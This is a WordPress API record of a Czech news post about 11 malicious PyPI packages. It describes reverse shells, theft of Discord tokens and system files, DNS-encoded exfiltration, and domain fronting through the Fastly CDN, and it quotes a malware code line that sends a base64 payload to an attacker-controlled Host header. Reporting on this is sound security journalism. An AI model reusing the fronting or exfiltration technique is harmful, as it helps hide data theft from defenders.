{"id":102339,"date":"2021-11-20T09:36:56","date_gmt":"2021-11-20T07:36:57","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/v-kataloge-pypi-vyyavleny-vredonosnye-biblioteki-ispolzuyushhie-cdn-pypi-dlya-skrytiya-kanala-svyazi"},"modified":"2021-11-20T09:36:56","modified_gmt":"2021-11-20T07:36:57","slug":"v-kataloge-pypi-vyyavleny-vredonosnye-biblioteki-ispolzuyushhie-cdn-pypi-dlya-skrytiya-kanala-svyazi","status":"publish","type":"post","link":"https:\/\/prohoster.info\/cs\/blog\/news\/v-kataloge-pypi-vyyavleny-vredonosnye-biblioteki-ispolzuyushhie-cdn-pypi-dlya-skrytiya-kanala-svyazi","title":{"rendered":"V katalogu PyPI byly nalezeny \u0161kodliv\u00e9 knihovny, kter\u00e9 pou\u017e\u00edvaj\u00ed CDN PyPI k zakryt\u00ed komunika\u010dn\u00edho kan\u00e1lu.","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"<p>V katalogu PyPI (Python Package Index) bylo odhaleno 11 bal\u00ed\u010dk\u016f obsahuj\u00edc\u00edch \u0161kodliv\u00fd k\u00f3d. P\u0159ed odhalen\u00edm probl\u00e9m\u016f byly tyto bal\u00ed\u010dky celkem sta\u017eeny p\u0159ibli\u017en\u011b 38 tis\u00edckr\u00e1t. Zji\u0161t\u011bn\u00e9 \u0161kodliv\u00e9 bal\u00ed\u010dky se vyzna\u010duj\u00ed slo\u017eit\u00fdmi metodami skr\u00fdv\u00e1n\u00ed komunika\u010dn\u00edch kan\u00e1l\u016f se servery \u00fato\u010dn\u00edk\u016f.     <\/p>\n<ul>\n<li class=\"l\"> importantpackage (6305 sta\u017een\u00ed), important-package (12897) \u2014 nav\u00e1zaly spojen\u00ed s extern\u00edm serverem pod z\u00e1minkou p\u0159ipojen\u00ed k pypi.python.org za \u00fa\u010delem poskytnut\u00ed shell p\u0159\u00edstupu k syst\u00e9mu (reverse shell) a pou\u017eily program trevorc2 pro skryt\u00ed kan\u00e1lu komunikace.\n<li class=\"l\"> pptest (10001), ipboards (946) \u2014 vyu\u017e\u00edvaly DNS jako komunika\u010dn\u00ed kan\u00e1l pro p\u0159enos informac\u00ed o syst\u00e9mu (v prvn\u00ed zpr\u00e1v\u011b jm\u00e9no hostitele, pracovn\u00ed adres\u00e1\u0159, vnit\u0159n\u00ed a vn\u011bj\u0161\u00ed IP, ve druh\u00e9 \u2014 jm\u00e9no u\u017eivatele a hostitele).\n<li class=\"l\"> owlmoon (3285), DiscordSafety (557), yiffparty (1859) \u2014 identifikovaly v syst\u00e9mu token slu\u017eby Discord a poslaly jej na extern\u00ed host.\n<li class=\"l\"> trrfab (287) \u2014 poslal na extern\u00ed host identifik\u00e1tor, jm\u00e9no hostitele a obsah \/etc\/passwd, \/etc\/hosts, \/home.\n<li class=\"l\"> 10Cent10 (490) \u2014 vytvo\u0159il zp\u011btn\u00e9 shell spojen\u00ed s extern\u00edm hostem.\n<li class=\"l\"> yandex-yt (4183) \u2014 zobrazil zpr\u00e1vu o kompromitaci syst\u00e9mu a p\u0159esm\u011broval na str\u00e1nku s dal\u0161\u00edmi informacemi o dal\u0161\u00edch kroc\u00edch, vyd\u00e1van\u00fdch p\u0159es nda.ya.ru (api.ya.cc).  <\/ul>\n<p>Samostatnou pozornost si zaslou\u017e\u00ed metoda p\u0159\u00edstupu k extern\u00edm host\u016fm, kterou vyu\u017e\u00edvaly bal\u00edky importantpackage a important-package, kter\u00e9 k skryt\u00ed sv\u00e9 aktivity pou\u017e\u00edvaly s\u00ed\u0165 dod\u00e1n\u00ed obsahu Fastly, pou\u017e\u00edvanou v katalogu PyPI. V podstat\u011b byly \u017e\u00e1dosti odes\u00edl\u00e1ny na server pypi.python.org (v\u010detn\u011b uveden\u00ed jm\u00e9na python.org v SNI uvnit\u0159 HTTPS po\u017eadavku), ale v HTTP hlavi\u010dce \"Host\" bylo nastaveno jm\u00e9no serveru pod kontrolou \u00fato\u010dn\u00edk\u016f (sec.forward.io.global.prod.fastly.net). S\u00ed\u0165 dod\u00e1n\u00ed obsahu sm\u011brovala takov\u00fd po\u017eadavek na server \u00fato\u010dn\u00edk\u016f, p\u0159i\u010dem\u017e p\u0159i p\u0159enosu dat pou\u017e\u00edvala parametry TLS spojen\u00ed s pypi.python.org.       <\/p>\n<p>Funk\u010dnost infrastruktury PyPI je zaji\u0161t\u011bna pomoc\u00ed s\u00edt\u011b dod\u00e1n\u00ed obsahu Fastly, kde se pro cachov\u00e1n\u00ed standardn\u00edch po\u017eadavk\u016f pou\u017e\u00edv\u00e1 transparentn\u00ed proxy Varnish a tak\u00e9 se zpracov\u00e1vaj\u00ed TLS certifik\u00e1ty na \u00farovni CDN, nikoli na koncov\u00fdch serverech, pro organizaci p\u0159esm\u011brov\u00e1n\u00ed HTTPS po\u017eadavk\u016f skrze proxy. Bez ohledu na c\u00edlov\u00fd host jsou po\u017eadavky sm\u011brov\u00e1ny na proxy, kter\u00e1 ur\u010duje pot\u0159ebn\u00fd host podle HTTP hlavi\u010dky \"Host\", a <a class=\"wpil_keyword_link\" href=\"https:\/\/prohoster.info\/cs\/domain\/\"   title=\"dom\u00e9nov\u00e1 jm\u00e9na\" data-wpil-keyword-link=\"linked\"  data-wpil-monitor-id=\"934\">dom\u00e9nov\u00e1 jm\u00e9na<\/a> hostitel\u00e9 jsou p\u0159id\u011blov\u00e1ni k typick\u00fdm IP adres\u00e1m vyrovn\u00e1vac\u00edch pam\u011b\u0165ov\u00fdch server\u016f CDN pro v\u0161echny klienty Fastly.      <\/p>\n<p>Server \u00fato\u010dn\u00edk\u016f je tak\u00e9 registrov\u00e1n v CDN Fastly, kter\u00fd poskytuje v\u0161em z\u00e1jemc\u016fm bezplatn\u00e9 tarifn\u00ed pl\u00e1ny a dokonce povoluje anonymn\u00ed registraci. Je zaj\u00edmav\u00e9, \u017ee pro odes\u00edl\u00e1n\u00ed po\u017eadavk\u016f ob\u011bti p\u0159i vytv\u00e1\u0159en\u00ed \u201ereverse shell\u201c se pou\u017e\u00edv\u00e1 stejn\u00e1 sch\u00e9ma, ale iniciov\u00e1na ze strany hostitele \u00fato\u010dn\u00edk\u016f. Z pohledu interakce se serverem \u00fato\u010dn\u00edk\u016f to vypad\u00e1 jako legitimn\u00ed sezen\u00ed s katalogem PyPI, \u0161ifrovan\u00e9 s pou\u017eit\u00edm <a class=\"wpil_keyword_link\" href=\"https:\/\/prohoster.info\/cs\/ssl-sertifikat\/\"   title=\"TLS certifik\u00e1tu\" data-wpil-keyword-link=\"linked\"  data-wpil-monitor-id=\"951\">TLS certifik\u00e1tu<\/a> PyPI. Takov\u00e1 technika, zn\u00e1m\u00e1 pod n\u00e1zvem \u201edomain fronting\u201c, byla d\u0159\u00edve aktivn\u011b pou\u017e\u00edv\u00e1na k skryt\u00ed n\u00e1zvu hostitele p\u0159i obch\u00e1zen\u00ed blokac\u00ed, vyu\u017e\u00edvaj\u00edc\u00ed mo\u017enost, kterou n\u011bkter\u00e9 CDN s\u00edt\u011b nab\u00edzej\u00ed pro p\u0159\u00edstup p\u0159es HTTPS s uveden\u00edm fiktivn\u00edho hostitele v SNI a skute\u010dn\u00fdm p\u0159ed\u00e1v\u00e1n\u00edm n\u00e1zvu po\u017eadovan\u00e9ho hostitele v HTTP hlavi\u010dce Host uvnit\u0159 TLS sezen\u00ed.     <center><img decoding=\"async\" alt=\"V katalogu PyPI byly nalezeny \u0161kodliv\u00e9 knihovny, kter\u00e9 pou\u017e\u00edvaj\u00ed CDN PyPI k zakryt\u00ed komunika\u010dn\u00edho kan\u00e1lu. \" src=\"\/wp-content\/uploads\/2021\/11\/9e9761458829291aded542d2bcae4cf3.jpg\" style=\"display:block;margin: 0 auto;\" \/><\/center>      <\/p>\n<p>Pro skryt\u00ed \u0161kodliv\u00e9 \u010dinnosti byl nav\u00edc pou\u017eit bal\u00ed\u010dek TrevorC2, kter\u00fd umo\u017e\u0148uje, aby interakce se serverem vypadala jako b\u011b\u017en\u00e1 webov\u00e1 navigace, nap\u0159\u00edklad \u0161kodliv\u00e9 po\u017eadavky byly odes\u00edl\u00e1ny jako stahov\u00e1n\u00ed obr\u00e1zku \u201ehttps:\/\/pypi.python.org\/images\/guid=\u201c s k\u00f3dov\u00e1n\u00edm informac\u00ed v parametru guid. url = \u201ehttps:\/\/pypi.python.org\u201c + \u201e\/images\u201c + \u201e?\u201c + \u201eguid=\u201c + b64_payload r = request.Request(url, headers = {\u2018Host\u2019: \u201epsec.forward.io.global.prod.fastly.net\u201c})      <\/p>\n<p>V bal\u00ed\u010dc\u00edch pptest a ipboards byl pou\u017eit jin\u00fd p\u0159\u00edstup k skryt\u00ed s\u00ed\u0165ov\u00e9 aktivity, zalo\u017een\u00fd na k\u00f3dov\u00e1n\u00ed u\u017eite\u010dn\u00fdch informac\u00ed v po\u017eadavc\u00edch na DNS server. \u0160kodliv\u00fd software p\u0159en\u00e1\u0161\u00ed informace prov\u00e1d\u011bn\u00edm DNS dotaz\u016f typu \u201enu4timjagq4fimbuhe.example.com\u201c, ve kter\u00fdch jsou pomoc\u00ed form\u00e1tu base64 zak\u00f3dov\u00e1ny p\u0159ed\u00e1van\u00e9 \u00fadaje na \u0159\u00eddic\u00ed server do n\u00e1zvu subdom\u00e9ny. \u00dato\u010dn\u00edk p\u0159ij\u00edm\u00e1 data zpr\u00e1vy, kontroluje DNS server pro dom\u00e9nu example.com.<br \/>\n<br \/>Zdroj: <a content=\"nofollow\" rel=\"nofollow\" href=\"https:\/\/www.opennet.ru\/opennews\/art.shtml?num=56190\">opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"<p>\u0412 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 PyPI (Python Package Index) \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043e 11 \u043f\u0430\u043a\u0435\u0442\u043e\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0438\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434. \u0414\u043e \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u0441\u0443\u043c\u043c\u0435 \u043f\u0430\u043a\u0435\u0442\u044b \u0443\u0441\u043f\u0435\u043b\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u043e\u043a\u043e\u043b\u043e 38 \u0442\u044b\u0441\u044f\u0447 \u0440\u0430\u0437. \u0412\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u043f\u0430\u043a\u0435\u0442\u044b \u043f\u0440\u0438\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u044b \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0435\u043c \u0437\u0430\u043c\u044b\u0441\u043b\u043e\u0432\u0430\u0442\u044b\u0445 \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u0432 \u0441\u043a\u0440\u044b\u0442\u0438\u044f \u043a\u0430\u043d\u0430\u043b\u043e\u0432 \u0441\u0432\u044f\u0437\u0438 \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432. importantpackage (6305 \u0437\u0430\u0433\u0440\u0443\u0437\u043e\u043a), important-package (12897) &#8212; \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u043b\u0438 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u0441 \u0432\u043d\u0435\u0448\u043d\u0438\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u043f\u043e\u0434 \u0432\u0438\u0434\u043e\u043c \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a pypi.python.org \u0434\u043b\u044f \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u044f [&hellip;]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":102340,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-102339","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 5.0.3 - aioseo.com -->\n\t<meta name=\"description\" content=\"\u0412 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 PyPI (Python Package Index) \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043e 11 \u043f\u0430\u043a\u0435\u0442\u043e\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0438\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434. \u0414\u043e \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u0441\u0443\u043c\u043c\u0435 \u043f\u0430\u043a\u0435\u0442\u044b \u0443\u0441\u043f\u0435\u043b\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u043e\u043a\u043e\u043b\u043e 38 \u0442\u044b\u0441\u044f\u0447 \u0440\u0430\u0437.\" \/>\n\t<meta name=\"robots\" content=\"max-image-preview:large\" \/>\n\t<meta name=\"author\" content=\"Yuri Gagarin\"\/>\n\t<link rel=\"canonical\" href=\"https:\/\/prohoster.info\/cs\/blog\/news\/v-kataloge-pypi-vyyavleny-vredonosnye-biblioteki-ispolzuyushhie-cdn-pypi-dlya-skrytiya-kanala-svyazi\" \/>\n\t\t<meta name=\"generator\" content=\"All in One SEO (AIOSEO) 5.0.3\" \/>\n\t\t<meta property=\"og:locale\" content=\"cs_CZ\" \/>\n\t\t<meta property=\"og:site_name\" content=\"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b\" \/>\n\t\t<meta property=\"og:type\" content=\"article\" \/>\n\t\t<meta property=\"og:title\" content=\"\ud83e\udd47\u0412 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 PyPI \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u044b \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 CDN PyPI \u0434\u043b\u044f \u0441\u043a\u0440\u044b\u0442\u0438\u044f \u043a\u0430\u043d\u0430\u043b\u0430 \u0441\u0432\u044f\u0437\u0438 | ProHoster\" \/>\n\t\t<meta property=\"og:description\" content=\"\u0412 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 PyPI (Python Package Index) \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043e 11 \u043f\u0430\u043a\u0435\u0442\u043e\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0438\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434. \u0414\u043e \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u0441\u0443\u043c\u043c\u0435 \u043f\u0430\u043a\u0435\u0442\u044b \u0443\u0441\u043f\u0435\u043b\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u043e\u043a\u043e\u043b\u043e 38 \u0442\u044b\u0441\u044f\u0447 \u0440\u0430\u0437.\" \/>\n\t\t<meta property=\"og:url\" content=\"https:\/\/prohoster.info\/cs\/blog\/news\/v-kataloge-pypi-vyyavleny-vredonosnye-biblioteki-ispolzuyushhie-cdn-pypi-dlya-skrytiya-kanala-svyazi\" \/>\n\t\t<meta property=\"og:image\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:secure_url\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:width\" content=\"350\" \/>\n\t\t<meta property=\"og:image:height\" content=\"350\" \/>\n\t\t<meta property=\"article:published_time\" content=\"2021-11-20T07:36:57+00:00\" \/>\n\t\t<meta property=\"article:modified_time\" content=\"2021-11-20T07:36:57+00:00\" \/>\n\t\t<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<meta property=\"article:author\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<!-- All in One SEO -->\n\n","aioseo_head_json":{"title":"\ud83e\udd47V katalogu PyPI byly zji\u0161t\u011bny \u0161kodliv\u00e9 knihovny, kter\u00e9 vyu\u017e\u00edvaj\u00ed CDN PyPI k skryt\u00ed komunika\u010dn\u00edho kan\u00e1lu | ProHoster","description":"V katalogu PyPI (Python Package Index) bylo zji\u0161t\u011bno 11 bal\u00ed\u010dk\u016f obsahuj\u00edc\u00edch \u0161kodliv\u00fd k\u00f3d. P\u0159ed odhalen\u00edm probl\u00e9m\u016f byly bal\u00ed\u010dky sta\u017eeny p\u0159ibli\u017en\u011b 38 tis\u00edckr\u00e1t.","canonical_url":"https:\/\/prohoster.info\/cs\/blog\/news\/v-kataloge-pypi-vyyavleny-vredonosnye-biblioteki-ispolzuyushhie-cdn-pypi-dlya-skrytiya-kanala-svyazi","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"cs_CZ","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u0412 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 PyPI \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u044b \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 CDN PyPI \u0434\u043b\u044f \u0441\u043a\u0440\u044b\u0442\u0438\u044f \u043a\u0430\u043d\u0430\u043b\u0430 \u0441\u0432\u044f\u0437\u0438 | ProHoster","og:description":"\u0412 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 PyPI (Python Package Index) \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043e 11 \u043f\u0430\u043a\u0435\u0442\u043e\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0438\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434. \u0414\u043e \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u0441\u0443\u043c\u043c\u0435 \u043f\u0430\u043a\u0435\u0442\u044b \u0443\u0441\u043f\u0435\u043b\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u043e\u043a\u043e\u043b\u043e 38 \u0442\u044b\u0441\u044f\u0447 \u0440\u0430\u0437.","og:url":"https:\/\/prohoster.info\/cs\/blog\/news\/v-kataloge-pypi-vyyavleny-vredonosnye-biblioteki-ispolzuyushhie-cdn-pypi-dlya-skrytiya-kanala-svyazi","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2021-11-20T07:36:57+00:00","article:modified_time":"2021-11-20T07:36:57+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"102339","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":"default","schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-11-20 07:37:34","updated":"2026-02-08 21:02:57","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/cs\/wp-json\/wp\/v2\/posts\/102339","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/cs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/cs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/cs\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/cs\/wp-json\/wp\/v2\/comments?post=102339"}],"version-history":[{"count":2,"href":"https:\/\/prohoster.info\/cs\/wp-json\/wp\/v2\/posts\/102339\/revisions"}],"predecessor-version":[{"id":158143,"href":"https:\/\/prohoster.info\/cs\/wp-json\/wp\/v2\/posts\/102339\/revisions\/158143"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/prohoster.info\/cs\/wp-json\/wp\/v2\/media\/102340"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/cs\/wp-json\/wp\/v2\/media?parent=102339"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/cs\/wp-json\/wp\/v2\/categories?post=102339"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/cs\/wp-json\/wp\/v2\/tags?post=102339"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}